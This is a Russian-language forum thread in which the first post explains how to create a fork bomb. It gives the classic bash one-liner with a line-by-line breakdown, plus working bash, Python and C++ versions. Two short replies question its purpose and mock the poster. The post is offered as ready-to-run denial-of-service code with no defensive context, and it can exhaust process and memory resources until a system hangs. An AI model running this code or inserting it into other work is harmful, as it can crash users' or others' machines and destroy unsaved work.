Создание Fork Bomb

Dogger

Знающий
Дней с нами
374
Репутация
1
Розыгрыши
0
Сообщения
90
Лайки
84
Создания Fork Bomb с использованием bash
В консоли Bash (в Linux-дистрибутивах):
Код:
:(){ :|:& };:
:
Описание кода:
:( ) Определяет функцию.
{ Открывает функцию.
:|: Загружает копию функции «:» в память.
‘:’ функция, вызываемая два раза, чтобы «бомбить» вашу систему.
& вызов функции в фоновом режиме. Начинает поглощать системные ресурсы.
} Закрытие функции.
; Разделителем команд.
: Запуск fork bomb
Выше предоставлен код рабочий, но не правильный. Так выглядит правильный код:
Код:
#!/usr/bin/env bash -x
bomb() {
bomb | bomb &
};
bomb
Форк бомба в Python
Код:
import os
while True:
os.fork()
Fork bomb на c++
Код:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}
 

Eefrit

Участник
Дней с нами
981
Репутация
0
Розыгрыши
0
Сообщения
5
Лайки
2
Интересно, но не очень понятно назначение. Это же просто бесконечный цикл на питоне и плюсах, а в баше - бесконечная рекурсия. И зачем?
И почему это называется "форк бомбой"?
 
  • Like
Лайки: sanef

sanef

Главный дебил форума
Дней с нами
567
Репутация
56
Розыгрыши
10
Сообщения
2.581
Лайки
2.335
Интересно, но не очень понятно назначение. Это же просто бесконечный цикл на питоне и плюсах, а в баше - бесконечная рекурсия. И зачем?
И почему это называется "форк бомбой"?
Это называется "чувак хочет кураторку"